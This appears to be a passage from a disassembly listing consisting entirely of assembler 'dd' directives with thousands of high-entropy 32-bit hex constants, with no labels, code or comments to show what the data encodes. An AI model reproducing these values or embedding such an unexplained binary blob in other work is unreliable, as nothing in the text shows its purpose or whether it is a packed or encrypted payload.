		dd 85C500A0h, 0FD8208A7h, 9A1FC445h, 2240E80Bh,	0E94C6712h
		dd 0D33818FAh, 0C4F378C6h, 8D4D4500h, 4C2B3B42h, 989F6034h
		dd 0B3F982C8h, 0DF919E00h, 0B593A78Ah, 0F6470031h, 0A4ED525Dh
		dd 713A4D19h, 0F02A00A0h, 6117D71Eh, 83C2019Ch,	58FB0F42h
		dd 0F45DC990h, 33E28BB5h, 540880EBh, 2C57ECA7h,	3DBA0062h
		dd 0CE345B32h, 4B1C2DA3h, 0C646D8E6h, 390592h, 159CFA3Ch
		dd 9901283Ah, 41BE1E07h, 7A905894h, 905710h, 30DD4C8Bh
		dd 3ECEF84Ah, 0A700C277h, 7A07344h, 0AFBF75h, 9DE6B59h
		dd 9FC132FCh, 80958238h, 0ABAECDBBh, 0F602873h,	0F6BFD74h
		dd 2ABDE963h, 29231018h, 1EA9919h, 75A96FAAh, 70228855h
		dd 650072CEh, 801CA5B0h, 0CFBE5A5Ch, 0D487C838h, 0CEF2B02Bh
		dd 4D304117h, 48124895h, 4B50C077h, 544CBE07h, 307011DAh
		dd 6088EC04h, 0F78010E5h, 35007F89h, 27D3DB7Ah,	1E2B6061h
		dd 0C0F25A09h, 0C6FAAE43h, 0D9003C67h, 7995FF5h, 22D6E651h
		dd 0A00B697h, 84BFC6DBh, 69739Dh, 0DA6B62F8h, 8C6E30A5h
		dd 5D151202h, 0C039DBE1h, 79AD9Dh, 926CBAABh, 0CCCD93AFh
		dd 71EA471Eh, 0C8E78DC7h, 0FA9149E0h, 822D1E64h, 8B15001Bh
		dd 0B4A4E8D3h, 15A3D00h, 55230D89h, 0F6F40004h,	729CC3B9h
		dd 6B1F5E53h, 803D4E0Ah, 1E1D97A4h, 0A58B6Fh, 0FAB07E2h
		dd 493A185Ah, 0B9747C00h, 85B4B6CFh, 125C07D9h,	336F83E8h
		dd 5EB38158h, 270C2BB0h, 0CCAC2C1Ch, 0BD3B2103h, 2EFD98B3h
		dd 0A62F0026h, 0FAA893D6h, 0F500AB6Dh, 2C34B5DDh, 60E053h
		dd 0E442E913h, 694459B8h, 0C723C900h, 8B14C18Eh, 0DC6400ACh
		dd 0B18C3978h, 0DA0FBF24h, 40D5965Bh, 12DB2FCCh, 0D618003Fh
		dd 2709B5B9h, 0B6008E1Ah, 0F391D19Dh, 0CA7F7Eh,	0F55BB087h
		dd 84F9CB26h, 95F4760Eh, 0AF0C73Dh, 339823F0h, 1EF843h
		dd 0B2608C66h, 9BD60B94h, 7CFF8800h, 98CDD167h,	0BC293BA4h
		dd 54C3F880h, 72C25A4Dh, 2F0AD300h, 0DEE42213h,	3D12007Dh
		dd 9175C986h, 7209BFBCh, 0DCCC0740h, 99F502BBh,	7C0BE6Ch
		dd 5C0009F6h, 0F41D02FEh, 7E6EC650h, 22D43A46h,	0CACA4818h
		dd 824CD3A7h, 96AC000Bh, 14F1A8CEh, 22EE0B3h, 24DAB89Fh
		dd 0F8C07E04h, 0B000558Fh, 0EB804ABDh, 28254EC1h, 3B90CCD4h
		dd 420012B7h, 892ED5D2h, 153FA837h, 0A26E80BDh,	2B8B786Ah
		dd 0F73773Ah, 0C4D913FBh, 0D605B4Eh, 0B8104656h, 27581DB0h
		dd 0C59400E0h, 0F2DA6859h, 0E9F4009Fh, 4EFB343Bh, 6100707Eh
		dd 7CDE5852h, 35676B5h,	4517CA02h, 0F082AA11h, 9B591E60h
		dd 1274C600h, 76B60DA0h, 0BF1816A8h, 0F64400B5h, 2729EF89h
		dd 85C6BB0Fh, 6BEE3F3h,	0F1C000D2h, 7B6D502Ch, 3A008D13h
		dd 0C8BB5DAFh, 2D8909h,	0BA3EA43Bh, 0B438179Ah,	0F78B9900h
		dd 41360EC5h, 0CB7F3Fh,	7ADCD51Ah, 63669894h, 24ED39h
		dd 0F4BFDFFCh, 454E81h,	0BB3E8F8Bh, 0F3C41694h,	2A260379h
		dd 410043B7h, 1C792FC7h, 69727Bh, 86C857CBh, 4BBCD78Dh
		dd 0DA4F200h, 0C42B8180h, 871F00F5h, 446B7991h,	9F00B022h
		dd 889ACB5Eh, 0D8CA37h,	5136811Ah, 52F6A458h, 8059673Ah
		dd 4BB01EEBh, 27DA66h, 3D7F4EFDh, 4522CFCAh, 0E7609A00h
		dd 348CDDBBh, 50AF1D2Bh, 0BD0778D2h, 80EE7598h,	0FA70C48h
		dd 2308D71h, 0F170104Fh, 0A3630029h, 0FC5405E4h, 2C03E888h
		dd 918A98BFh, 800AB86Bh, 0C4AD0057h, 0B27E2825h, 68C0DC2Fh
		dd 926D0F54h, 427F00B3h, 69B4EFC2h, 0E001057h, 6CAAAD88h
		dd 5A85B1h, 0A44391AEh,	670721FDh, 0FB7DC401h, 3A05C07Eh
		dd 0ED49F30h, 3F70C164h, 4E681EA0h, 6B00B3B5h, 65E45734h
		dd 3BDA672h, 7B24E730h,	37B08EBEh, 0F07955F2h, 59562300h
		dd 6E6BB961h, 6A9B0094h, 0BA39CA22h, 0E7B6CD1h,	82F3841Dh
		dd 1A994F40h, 0B53FC8h,	986DF94Eh, 1CA3CD96h, 0B99E3C07h
		dd 2FB0B430h, 77B5D0Ah,	0DF23CEFBh, 0F87F704Bh,	350025D7h
		dd 707C2A4Ah, 0FB28C7h,	0CE589568h, 0FF09D5B7h,	0D3F59700h
		dd 0FE3AD194h, 2B830023h, 70EAE6A4h, 2CFC5B86h,	0D13DFC00h
		dd 0CA21D631h, 0C5D900B7h, 2DF09B43h, 0A6001F77h, 899E875h
		dd 44C026h, 1195A186h, 0BE1F31Ah, 6D541C00h, 3BFE3650h
		dd 7BD001BCh, 9D669E71h, 0B084F255h, 0BCBB20C3h, 99B600A1h
		dd 842220E8h, 0D24887E3h, 0AF23143Ch, 38F300C0h, 7D1B0449h
		dd 0C540004Dh, 96E8CCABh, 361CFC2Bh, 2C0303E9h,	9975E1Ah
		dd 0FA7A0C48h, 70B900D5h, 0BFE2Bh, 0E01DFD79h, 6BFB0AF3h
		dd 54FAD300h, 0AB284BCAh, 0CD63007Fh, 95EE9A29h, 2D00DE77h
		dd 6049DB5h, 7A0254h, 9914AE6h,	0A239C084h, 7DA2700h, 0D9499E98h
		dd 0C6121FABh, 0C4148099h, 1FBACDA3h, 0F8502000h, 0B4047743h
		dd 469711Eh, 81C53DC7h,	54CBC001h, 9200AC34h, 41909F50h
		dd 79C711h, 4864EAC6h, 3F53DAB1h, 58B23E00h, 69569DB0h
		dd 9E24004Ah, 0C9C8CA12h, 0CE7F4F90h, 8773DA00h, 97CC7185h
		dd 0C15F0193h, 0D88194E1h, 0D490C967h, 37003F15h, 0B81285FCh
		dd 0D966E0h, 697A2E33h,	3F4B290Ah, 6B02367Fh, 0EC52764Eh
		dd 43F4E04Dh, 8ABA000Fh, 0E7DF39Ch, 28055980h, 0F49EE6FEh
		dd 7F5B73C0h, 2DBC303Ch, 6BF370FAh, 0E55A3B00h,	250BF5CBh
		dd 51FB009Ch, 8EB1576h,	0B1017EB6h, 0CAFEF35Bh,	0CCC14085h
		dd 750BCF8h, 43A728A9h,	9E2EECD3h, 0EE452E31h, 46E8594Dh
		dd 34C60FE8h, 99806A6Ch, 4426EC2Ah, 0D669B804h,	78C081DCh
		dd 190D7Dh, 0E83A0EB0h,	1316DF77h, 40EBE505h, 4E800CE6h
		dd 1BE5807h, 0E33F7CDAh, 0C18BD053h, 0E26D4F6h,	3115160h
		dd 0CE5D17Fh, 0DB5ECF70h, 0F008C31h, 819FEA63h,	1D7F6690h
		dd 7D02FAC5h, 1CD05CA4h, 242F40EDh, 2DCE9FFFh, 56F7591Dh
		dd 9B20A1B1h
		dd 0FAA822F4h, 802A0370h, 2F1A742Ch, 10C069ABh,	8A767B37h
		dd 0FDC53107h, 8E007F3Eh, 752CDB9h, 1A8751C2h, 9C95D071h
		dd 0FB60E847h, 0DF54A424h, 0D71B0042h, 0B3610DD9h, 4B032131h
		dd 37CAA045h, 767BD012h, 0FD9F02C3h, 81082DA3h,	0CA96CC40h
		dd 6279E618h, 2CA86320h, 8020F83Ah, 8A8EA2DEh, 0DB1559E3h
		dd 84682B27h, 3C220863h, 4645AA00h, 569A3001h, 62026960h
		dd 0F91C90A4h, 700570Fh, 0B19C8EA3h, 2D19034Ah,	2282AF90h
		dd 0D17511B8h, 0D8718C01h, 7CF46DF8h, 282AE240h, 7FCA0033h
		dd 0BBD69F05h, 2700F5B3h, 7939DB90h, 0FED3D1C9h, 400500BEh
		dd 2B57656h, 413869E2h,	0C9A40080h, 2D48596Ah, 45FF0050h
		dd 1E962B1Bh, 38001422h, 0DB34748Ah, 578D85Eh, 0CF0FC0B4h
		dd 0D5E8C05Fh, 6003B61h, 0AECACC76h, 91FD60Dh, 9995A322h
		dd 0C1919C80h, 0F00374Ah, 0A4425058h, 0E86E1F4h, 0F9098C0Ch
		dd 4A1130D8h, 206DE030h, 8E467Ah, 0D7C48675h, 0ADD8795Eh
		dd 1360B60Eh, 7430D8F6h, 0E5000B5h, 27691186h, 6A7499B3h
		dd 20C0B6ECh, 0CE530B35h, 6B50082h, 0F2639EAFh,	0A638FFD4h
		dd 0D3908E58h, 1C837C05h, 0C8CB088Bh, 24CAE0Dh,	0DBD861CDh
		dd 1DE01D41h, 3CA45DB6h, 0B10850FCh, 6263C986h,	3600DBBEh
		dd 33B520Eh, 0A0DE6596h, 61D0D974h, 0C3AB39Ch, 60C733AEh
		dd 11511F13h, 141C4F5Fh, 81BB746h, 0A80329F8h, 4968BCE5h
		dd 0CD30B8FEh, 78D7A7Fh, 829D348Eh, 0D3C970E6h,	0A8C30DB3h
		dd 0E8F4C214h, 0A761F754h, 0D8FC6298h, 159C618h, 42495039h
		dd 340E332h, 0B6D3B885h, 0E47D12F4h, 900403B2h,	3EA86BFAh
		dd 51F2F6A8h, 88B5AC00h, 0B29547A3h, 0A64E0554h, 800DDD7Ch
		dd 0CE8B4A89h, 5E07C17Ch, 368D2DA9h, 636D3B50h,	0BA7E0E5Ah
		dd 0C9E0EA44h, 0CBF3B3DDh, 3A98EB00h, 8E8A3C08h, 4B70C04Ah
		dd 0C0B2E7A5h, 8BBE5B02h, 7DDE0C80h, 8099CF07h,	0ED24DFD9h
		dd 0DA05AD00h, 0DEABA429h, 0D18D00B7h, 9CCA49A3h, 0EC002899h
		dd 8CAC9BB0h, 22A1E3h, 845DC4D9h, 8057E230h, 4C138106h
		dd 304B14h, 0C5988E8Bh,	1C263D5h, 0B67C5400h, 0E5FB3ADh
		dd 9FDD1FDBh, 0CD788480h, 6F52C0C3h, 0D01E358h,	87C95BE8h
		dd 0E130FD59h, 9930000Ah, 0DD8F3E5Ah, 7C1FE9A6h, 36831B0Dh
		dd 396821A2h, 268038C8h, 0EFF703AAh, 4B001752h,	7ABFB135h
		dd 6029DC3Ah, 4D6EF183h, 11075E8Ah, 0DF67CCADh,	0EEDA0810h
		dd 0A47CA0E8h, 145FFA64h, 0E78F15CAh, 63470071h, 0EAF75D74h
		dd 62035526h, 0AA664B50h, 8A589821h, 0B838E015h, 0C8148341h
		dd 0F81A38Ch, 51764F1Ch, 91595EC0h, 533FB2C2h, 3DFF03ECh
		dd 0F03477BDh, 1EAA9C26h, 0FC4751C0h, 0B3644600h, 92217A7Bh
		dd 0BB29CA00h, 2C06860Ah, 323C00C4h, 6D46E931h,	8E0064B0h
		dd 3856DF91h, 0B1EDF2h,	0E8A3CA58h, 0B88563FEh,	0C00FE30Fh
		dd 4C30E081h, 0C7E6B34Bh, 0A07A7E20h, 75A7336Ch, 0DE5A4500h
		dd 41880D04h, 9621B0Eh,	0C8BB28EBh, 0C62CEAE0h,	0F56EF40Fh
		dd 577F876Bh, 0C5F89C10h, 709F61B1h, 405E8B83h,	774B5480h
		dd 801B653Ah, 0C117C571h, 0C09D82EBh, 3A63A921h, 0B600D97Ah
		dd 0DA59E9F9h, 0E49C51E3h, 0C3201ED5h, 0E022428Dh, 3F6EC12h
		dd 4679D400h, 0A57A4CBFh, 0CA340404h, 0A2766CACh, 0D6043510h
		dd 918D701h, 360429DDh,	108BA8F7h, 3C993F25h, 321C7D01h
		dd 80C1287Bh, 52C02C31h, 8C257Ch, 634FC608h, 10227853h
		dd 0F0B10300h, 863FA7B4h, 47051CCAh, 30C6C048h,	7BAF7D01h
		dd 331AAC12h, 4D116A03h, 0D9883F09h, 0ED59A000h, 686ADA48h
		dd 0B50EDE00h, 10B05CAEh, 0FC831843h, 4E6D20C2h, 0B2DFEA05h
		dd 202C4CF0h, 0FA2A1023h, 77DF81B4h, 0C083C9E9h, 0BEFC42D4h
		dd 0BD5B3800h, 72A26A74h, 9C920020h, 65A176F3h,	8C00A527h
		dd 6C07F81Ch, 0F1D3AEEh, 8ECBD917h, 0C7C01B03h,	0BF9F1800h
		dd 7BEF0A67h, 0BC3C0066h, 2D799E8Dh, 1F197669h,	77412896h
		dd 0FCE18C0h, 5A5E042h,	834BF220h, 0C907859Dh, 0F19820CAh
		dd 8DE08EB0h, 4E3000F8h, 1D3EB21Bh, 0D5188C9Eh,	0FE200D50h
		dd 95AE00D7h, 753D8AEAh, 0B8009A36h, 0FCE9B97Bh, 0E3617Fh
		dd 0FB27A8E8h, 0F1B3C83Eh, 18BBB50Ch, 37F540E5h, 0C7C1BFF6h
		dd 18F2F68Ch, 81DDF37h,	0C2705C1h, 30C0EBD1h, 0A7CC07CFh
		dd 0C4A439Bh, 0A50A5150h, 84D38EA3h, 9ACB054Fh,	0BC65EC00h
		dd 39795572h, 0F20297DEh, 249F4D2Ch, 0E14C84A0h, 45002A59h
		dd 1F77DF1h, 0E82776Dh,	255B3151h, 0C4720C1Fh, 1A02EE88h
		dd 0A4592D66h, 12C8A4A1h, 41454C40h, 873E15F9h,	39FB00BAh
		dd 801EAC54h, 40336074h, 0EFEBB34Eh, 0EB8A7028h, 1F1B0306h
		dd 0E9FE17h, 291DFD5Ah,	224F01B0h, 325FF90Fh, 4454E1A1h
		dd 0B6DC1B3Fh, 0C29E22E8h, 0EB92F200h, 6A2BBADAh, 0A87F00A7h
		dd 0EFFF2652h, 0C9EA5175h, 919BF200h, 0E8238BF6h, 0F3D230F5h
		dd 8954B671h, 28E2A800h, 2F316FC9h, 0D27B0055h,	0E68CE519h
		dd 0B7118F1Fh, 0CD00ACC7h, 3FD5B3A9h, 3D12BF9Ch, 3500FA64h
		dd 2E969EF7h, 336700ACh, 5D512134h, 131C6FCFh, 0A0693AA3h
		dd 7586FA87h, 31A1FBA0h, 523E808Bh, 42B680F7h, 4CAC47CFh
		dd 49827FFAh, 9E390C8Dh, 0C92010C2h, 0E7F8A100h, 33D26DA9h
		dd 74F9600h, 0B656A739h, 18ED50D6h, 0CCCA4025h,	0CE3F4B00h
		dd 0D3AF6F43h, 0FCB2F466h, 87780750h, 104F3954h, 9E215237h
		dd 0A1F52Eh, 291FB930h,	0B0932AFCh, 327200F8h, 95A7F93Eh
		dd 0B5E27D0Eh, 55309700h, 0F7745C65h, 483A7AC2h, 0F582A480h
		dd 84AFC582h, 0C749F79Fh, 66F9D133h, 681DDFA8h,	20DED151h
		dd 2A00D4AAh, 5AF115CDh, 2CD0EB8Ch, 9AAF7Eh, 40FB4175h
		dd 8A4BEC85h, 345225ECh, 501C1Eh, 9F932DAAh, 0F5E0BA23h
		dd 406EB828h, 61C2FFE2h, 90F7396Bh, 518582BCh, 5000A050h
		dd 3EA5BE89h, 1C802706h, 0CF78312Eh, 0D9D2E125h, 5970401Eh
		dd 0B529C64h, 7053F66Dh, 9F4D0455h, 7A420C87h, 0B57482D2h
		dd 6F40802Ah, 7658AF1h,	806D0216h, 5A1AC019h, 620A8524h
		dd 9CA1FD36h, 18268771h, 80DD0B14h, 0BA27CC83h,	7712F9B0h
		dd 9154F702h, 42C6873Bh, 90800066h, 83F5ACh, 0F0D8F16Bh
		dd 78A53E35h, 191CE300h, 29A9DE99h, 0C7A400A1h,	64ACEF52h
		dd 2F18209Fh, 2E806AECh, 2C7A49B7h, 0FEE57100h,	0DE1D023h
		dd 7E2A44Ch, 2EA65CE7h,	0C0DCE820h, 0A25CA829h,	0E9932643h
		dd 8C0F3808h, 0B8C19F9Eh, 30511CBAh, 0F930940Ch, 5946306Bh
		dd 0F2F600A7h, 20A392DEh, 3024FA1Eh, 80151CBBh,	4B345198h
		dd 98930090h, 44453464h, 0C6D412CBh, 4BB40190h,	0F3B39484h
		dd 0D23AF6C0h, 0D100E0A4h, 0F7FB6E8Bh, 3B88D5Bh, 0FA85A5F1h
		dd 0C1003593h, 5FB0D13Ch, 241BB198h, 0C3789CCFh, 0B900F88Bh
		dd 0B05A34A2h, 136887Fh, 274A93DCh, 404819AFh, 9E6201FEh
		dd 439A4505h, 0B04A5D87h, 1D0F3444h, 28322915h,	0B71EC468h
		dd 1056334Ah, 2987E211h, 0E1339243h, 761308C0h,	48B5C71Fh
		dd 2D4F7F80h, 3A998427h, 6E9ABBA4h, 446070ABh, 0F440DE8Ch
		dd 2091DFh, 15E53C97h, 160C23C6h, 30B4093Fh, 0C9A90836h
		dd 8500F3FAh, 0AD69E346h, 2D110053h, 0BC3BEDECh, 79549C19h
		dd 0D970C1A8h, 63A36A00h, 0D6127F76h, 1568B0EAh, 0D423FD1Fh
		dd 2AB64E0Dh, 8134E0D9h, 0D5735806h, 222654h, 6AF68F0Eh
		dd 0E398F894h, 0AC503Fh
		dd 2D22B201h, 3FBC9189h, 9B80D6D1h, 71F236FBh, 23C3C28h
		dd 2B81805Fh, 8F381B23h, 89860B46h, 39839380h, 40018B11h
		dd 0D3F4FDE0h, 42F8736Ch, 3C87061Ch, 208CDE17h,	921E04F4h
		dd 0FA004860h, 0C68BDFCFh, 3E7938h, 5D9EC99h, 84D8A978h
		dd 0F274410Eh, 0A6C0DD6Bh, 0D288D782h, 0E0E41CCDh, 817FD9A4h
		dd 7A96CC29h, 0EAC31200h, 196041A3h, 0BC770CB6h, 0C79D184h
		dd 5C9E8500h, 7EE64C0Dh, 0B4F200E3h, 8E2D937Fh,	0C007E57Ah
		dd 0C37BD728h, 64BE04B0h, 84B43060h, 3BBC6CA9h,	89307A60h
		dd 3469C2Eh, 0BB07C4AFh, 182E7D17h, 0DD000068h,	5795C2DEh
		dd 0D17339B8h, 30928F9Ch, 0A2749389h, 3025818h,	30C27310h
		dd 4040A36Dh, 0B0007127h, 6B98AF5Dh, 4BA507h, 26B8A0ECh
		dd 6379C36Fh, 5738C450h, 1205AB00h, 9014D41Ah, 0CB40003Dh
		dd 0DF343C35h, 0DB00D027h, 5F4BE5E9h, 14BDBE72h, 0A4D93FF2h
		dd 0C4BF2500h, 642F0EA4h, 0E91281C0h, 1888F417h, 0B19DEC80h
		dd 4600667Eh, 8DD5CDD8h, 0EACC93Eh, 450191CBh, 0F40D2840h
		dd 4370510Eh, 0BB05DF0Ch, 18516Ch, 355C5A26h, 428E7A91h
		dd 4F0E6A07h, 0E670D39Dh, 4B56B1Bh, 7F6D8868h, 0E50C985Eh
		dd 900F3091h, 28760061h, 116CD40h, 0ECD09F2Bh, 4C368621h
		dd 7C3E3B74h, 4FBF8043h, 80EB0E48h, 0EC48C62Ch,	0D30051C0h
		dd 0C7E05514h, 0ECC9E99Fh, 0AE520030h, 7EA2FED8h, 13FA12F2h
		dd 98CDB15h, 84543B6Ch,	0BFE64781h, 1EB31C90h, 681B01DEh
		dd 3BDD2416h, 0EB488170h, 826D56CAh, 6CB084CAh,	90ADFC44h
		dd 7F9A41B4h, 0FE48DD01h, 9D83AEDEh, 0EF588CCh,	8A59F066h
		dd 0CB1930Dh, 0A4002FF8h, 0F965FD51h, 1991D3h, 57447F59h
		dd 331050FCh, 9FA8D660h, 339B142h, 653114A2h, 7AA13B9Ch
		dd 810C225Bh, 18190FDAh, 5E25618Eh, 0A70041F2h,	0D4F3DB36h
		dd 0D6006E50h, 3C63B377h, 5C498Fh, 4BF1751Bh, 9F6C33A9h
		dd 5FB68613h, 20FD2430h, 284B1C63h, 7FEEC0D1h, 8F85CD72h
		dd 388422E3h, 8A0C80A2h, 0E8A0AAF2h, 0A8829E5h,	0ECB92B8h
		dd 1CAA0E0Ch, 50FE0150h, 20C0675Dh, 19C02A34h, 0FD9A5E3Dh
		dd 0A7A203FAh, 4B42ACB1h, 73FE2280h, 8927A305h,	7C0028E4h
		dd 4384124Ah, 981D0676h, 0B993D2C3h, 25945C00h,	64E2026Ah
		dd 21C40001h, 0B6794082h, 97E71ECh, 7E560C07h, 0C1D69C38h
		dd 7FE12288h, 0FD8AA90Fh, 363404D2h, 89D344D8h,	0CA0ECC48h
		dd 0D427EE05h, 0B8401B59h, 94FEB713h, 0EB6FC01h, 2F2A509Eh
		dd 60653E60h, 7F663757h, 3B311248h, 0A407C0CFh,	0C5EF983Ch
		dd 6BEC61DDh, 337C246Eh, 8A080E05h, 832619h, 3DD4D832h
		dd 99571630h, 2DE7007Dh, 0F494751Ch, 0BE885E02h, 6B8D04FEh
		dd 616BC2E8h, 0D44C8028h, 0A28EFEA9h, 7EE40FD0h, 99106B0Ch
		dd 36CD00ACh, 5371FDAEh, 730742D2h, 0D73552A0h,	9833DF30h
		dd 18244DA2h, 80E4168Ah, 0B9A939A4h, 0C706DBD9h, 6AF3A244h
		dd 80163D0Ch, 8A91127Eh, 8D3805C6h, 81E684B1h, 107B34CCh
		dd 0F16688BDh, 0BFF890EDh, 60B098A4h, 0DC206119h, 33CADA8h
		dd 0E1E8034h, 0A6D2360h, 884900FDh, 0C5FCA52Eh,	0D50975Ch
		dd 0F820F1DCh, 0C6930012h, 0D4D509ADh, 0DB00B7B9h, 0CB58110Fh
		dd 9ED6444h, 89F0301Fh,	0EE812420h, 3C00C6D5h, 0DB7297D3h
		dd 0C1585061h, 8D6F3018h, 8E60840Ah, 41410D46h,	0C0A491A3h
		dd 6D002CDBh, 9A345AD2h, 0F56628h, 4AFBE26Ch, 5DDB711Eh
		dd 2A8DE300h, 0AF8E2EABh, 61F4034Eh, 555419B1h,	0EAE36588h
		dd 0D976DA00h, 3DE6663Ch, 0EE5DF0EBh, 641C07Dh,	0CC25E15Fh
		dd 6C523F00h, 0B67BD398h, 0EE2100B9h, 4935D945h, 5EF8F1E7h
		dd 0FB00FE90h, 7EBF5473h, 1DDF7FE2h, 0C021A7E4h, 0D25EF640h
		dd 79C05A31h, 0AF5764D0h, 34F90096h, 56CD3A3Fh,	0F40C5D6Bh
		dd 295CEE60h, 70E7304Ch, 57945B91h, 105C19C3h, 5E9D909Ah
		dd 79EE014Ch, 0C117C222h, 5970FC67h, 5CDF28C0h,	0CABB4B3h
		dd 6E52FF7Ch, 60003119h, 5B0E671Dh, 7AFC31Eh, 0DD338230h
		dd 0B487D0B5h, 990A0D2Ch, 88E64B10h, 3085543h, 3BB5EA08h
		dd 3DC04243h, 0DE0079F9h, 95D1096Eh, 68E9064h, 5C5FC116h
		dd 0D200716Dh, 94601214h, 33B2B3h, 65DB1703h, 63BBFB9Ah
		dd 0C52F6B07h, 0E3D1E1CCh, 0DFE8827Dh, 0F6B2005Dh, 8BCDF11Dh
		dd 25004F6Dh, 0CC9404BDh, 5B75AA59h, 73EAB013h,	8200FC79h
		dd 139E376h, 0F04D7840h, 0E92A2851h, 25F700D6h,	0AA09DF74h
		dd 0E00CC04h, 89EC569Dh, 0FC64E663h, 5E76182Bh,	0D2132055h
		dd 0BC96EE00h, 8652BACEh, 0D6EEACAh, 0B210EAD9h, 6F864081h
		dd 0D3006914h, 0CE0BA357h, 4C211AD7h, 60030468h, 37259AC7h
		dd 0E1F0311Fh, 0DB533BC0h, 2C0E4Ah, 0F19965B5h,	0FFCE67A1h
		dd 8A0066E8h, 603A8840h, 0B97624h, 95D76C91h, 82DE427Fh
		dd 3F4CE607h, 0C1E0F1FFh, 98144450h, 400F60A3h,	34A8A30h
		dd 31B78500h, 0E90B06A4h, 5A3607C1h, 207C99BEh,	4797ACBh
		dd 46C73800h, 9D160663h, 0A1FE009Fh, 442EC317h,	3B00DA5Eh
		dd 0FB89F1E2h, 7C273D81h, 7BC0F70h, 0B9C07AAAh,	0B4CD76Dh
		dd 0D0B81B6Ch, 0C6627450h, 0D1075188h, 0C601FCF8h, 79B25C96h
		dd 2DC31FDh, 0CD2107C0h, 17E8DA58h, 0E21FD02Ah,	5C0E3227h
		dd 0E0E05EE5h, 24A9AEB8h, 27C00A7h, 458AF20Ah, 0B7EAC8F8h
		dd 9CFE591Ch, 3967007Dh, 0B55F8F84h, 642601E1h,	41ACF64Fh
		dd 0F5D5FC1Ah, 37E29F00h, 71CAEEC3h, 117900BBh,	33E0994Dh
		dd 400215Eh, 0FAF2DA2Eh, 7F754852h, 9D203C5Ah, 0EB5C1B83h
		dd 900DFD8Ch, 40A08279h, 262A1AE0h, 0DEC96Ch, 15B2F625h
		dd 3C798828h, 0C2F92C00h, 53AD64EBh, 0D62078F4h, 0C56B0040h
		dd 0C8D4C62Ah, 86406F00h, 3CC99F0Eh, 9C2B0B70h,	0FD5B742h
		dd 9E69205Bh, 76712E7Dh, 0B9E60032h, 0F05CAF08h, 0F800CC19h
		dd 8D4E524Bh, 32DDDEh, 6A1C1857h, 15688360h, 3911C830h
		dd 776D62h, 10D7A680h, 0E4F2DD0Ch, 25F31E00h, 56F5FD14h
		dd 372400E1h, 41608FABh, 0E6002CEBh, 0D3263212h, 0C57F11h
		dd 144D73DEh, 0ED09B8BCh, 0E1802300h, 0F2D460A6h, 0F5930010h
		dd 432A756Eh, 7661A1C9h, 18611680h, 0C0A88880h,	533544DFh
		dd 7D3F0D00h, 0CFB85F3Dh, 7727258h, 0C73AF2E8h,	7620BFDAh
		dd 0B52693Bh, 7BF51500h, 8BF76AD6h, 9098C068h, 0A9B9776h
		dd 15ECC500h, 6F6789B5h, 6EFF37C1h, 68F71371h, 0B552310Fh
		dd 85DEA6Dh, 18147F00h,	0F843D43h, 58918CF5h, 0A402CA1Eh
		dd 0EDC6809Ch, 606DBBACh, 78F64B2Ah, 0DE52F801h, 84F275A9h
		dd 0A033A0F8h, 0FB03B4h, 0DB599107h, 0D87CFAB1h, 95384700h
		dd 0ECFC2A96h, 63AD025Eh, 68400749h, 4BCAD481h,	9A9D1055h
		dd 124E4BAh, 0A1B61153h, 8CC717C3h, 297F3F91h, 58D800E4h
		dd 0DE2B928Eh, 0A9006D47h, 2AD0A24Bh, 5073775Eh, 1F02D891h
		dd 0B8E44Ch, 68A8BB31h,	9E06758Bh, 90C20BC3h, 4452E080h
		dd 97009A7Eh, 0FDCB6FABh, 0A14C24h, 13EAC8B1h, 15DF617Fh
		dd 55EED001h, 6AEDC17Eh, 74C2B448h, 15E2832Ch, 0B8E21C4Bh
		dd 89746446h, 948B402Ah, 1006CF2h, 663D2B87h, 60E84885h
		dd 0BEAE3963h, 0DFA1C24Eh, 0AAC0A4F2h, 3F0C6021h, 0BFB16Eh
		dd 0C1EDD6DAh, 0D8B4BA4Ch, 5E514900h, 250A3F36h, 14890F9h
		dd 1847EAC6h, 44E7F279h, 497804F1h, 3C08908Ah, 280954ABh
		dd 2071A8F0h, 0D6596A78h
		dd 982D019Dh, 15EBAD70h, 5805568h, 4A21C20h, 71DDCD0h
		dd 1BC09F85h, 298A523h,	53C96082h, 94A35F74h, 0EEF022FCh
		dd 8E00D8D7h, 84FFF9CEh, 0A167BDh, 3CCFCCF6h, 4C491044h
		dd 0E78AE014h, 2781388h, 339A0021h, 2ADA844Ch, 667445ACh
		dd 0F112B8CFh, 19A53839h, 8B49899Bh, 738462F8h,	0BFE0041h
		dd 7B07E46Dh, 0DEF49F88h, 28DDF930h, 48C65717h,	61C1E8ECh
		dd 0D67D4741h, 99378900h, 599560AAh, 6D1F71D0h,	48E1E200h
		dd 29ADB808h, 0C79004B0h, 0DC541D41h, 0E12884Ch, 0C700F6F7h
		dd 31B551FBh, 644354D1h, 2F092469h, 0C68E4128h,	4D3F0111h
		dd 95AC8450h, 0D8930008h, 1F8E911Ch, 900B50Dh, 0B668D576h
		dd 0C272B3A0h, 56F878B1h, 6DC2F890h, 0AFF780h, 868CCD20h
		dd 24FB8DB9h, 7C028571h, 0BE94835h, 1390AE61h, 489C860h
		dd 986401C5h, 0AC4315E6h, 0D084578Bh, 0A908BF1Ah, 7FD05414h
		dd 0FB4F80BCh, 4C5F2D64h, 37CF6CDCh, 5CB0EE69h,	0E9D0A3F6h
		dd 2CDD3BE0h, 0E40FAF57h, 1E3127B7h, 1C4441C1h,	0AB9424h
		dd 0C758B8DEh, 0B50BEFD4h, 0E37FB1C7h, 2D1D782Ah, 62730020h
		dd 0DA091461h, 6734DDF6h, 9000D08Ah, 0A483A76Ah, 303B1D33h
		dd 801E9Fh, 420F38E6h, 870082CBh, 0BD8AA30Ch, 3ADB1BAh
		dd 14C3916h, 8D8D8EBh, 99303053h, 452238DAh, 57240FF9h
		dd 8DC067DFh, 0D4E4DE96h, 8029213Fh, 59A2C7EBh,	272340A5h
		dd 0F8586239h, 84798C60h, 3D26C0A6h, 4802737h, 5A8AB388h
		dd 20C0D961h, 70991C6Ah, 0DF8E16EAh, 771203BDh,	94A88AB5h
		dd 3E0117D4h, 0A6CD80BCh, 0D8BBF209h, 5B7EA381h, 0D0F0A590h
		dd 0F91FBE8Ch, 1E0001B5h, 5210416Fh, 0F46A30B3h, 0D2FB6431h
		dd 901D4000h, 0AF15068Eh, 0F731030Fh, 82782574h, 0B951280Fh
		dd 62B97AF2h, 0F090338Ch, 0E01FBD0Bh, 6DB00D2h,	0F8742B2Ch
		dd 0E6620AA8h, 0A0925A69h, 0B56AF49Ch, 8C0D004Bh, 0F12C8B46h
		dd 9B53F586h, 9DE70094h, 0D828EB56h, 0D6FA0636h, 70C347BAh
